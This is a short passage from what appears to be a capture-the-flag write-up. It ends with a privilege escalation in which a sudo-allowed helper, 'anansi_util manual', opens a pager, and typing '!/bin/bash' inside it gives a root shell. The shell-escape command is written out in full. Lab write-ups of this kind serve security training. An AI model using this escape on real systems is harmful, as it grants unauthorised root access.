17 root 20 0 0 0 0 S 0.0 0.0 0:00.00 khubd
18 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 md
- Manual
Shows the manual page of a command
sudo /home/anansi/bin/anansi_util manual /bin/bash
The manual it shows seems to be the same as man, so if we type the following inside the manual, we become root
!/bin/bash
Machine solved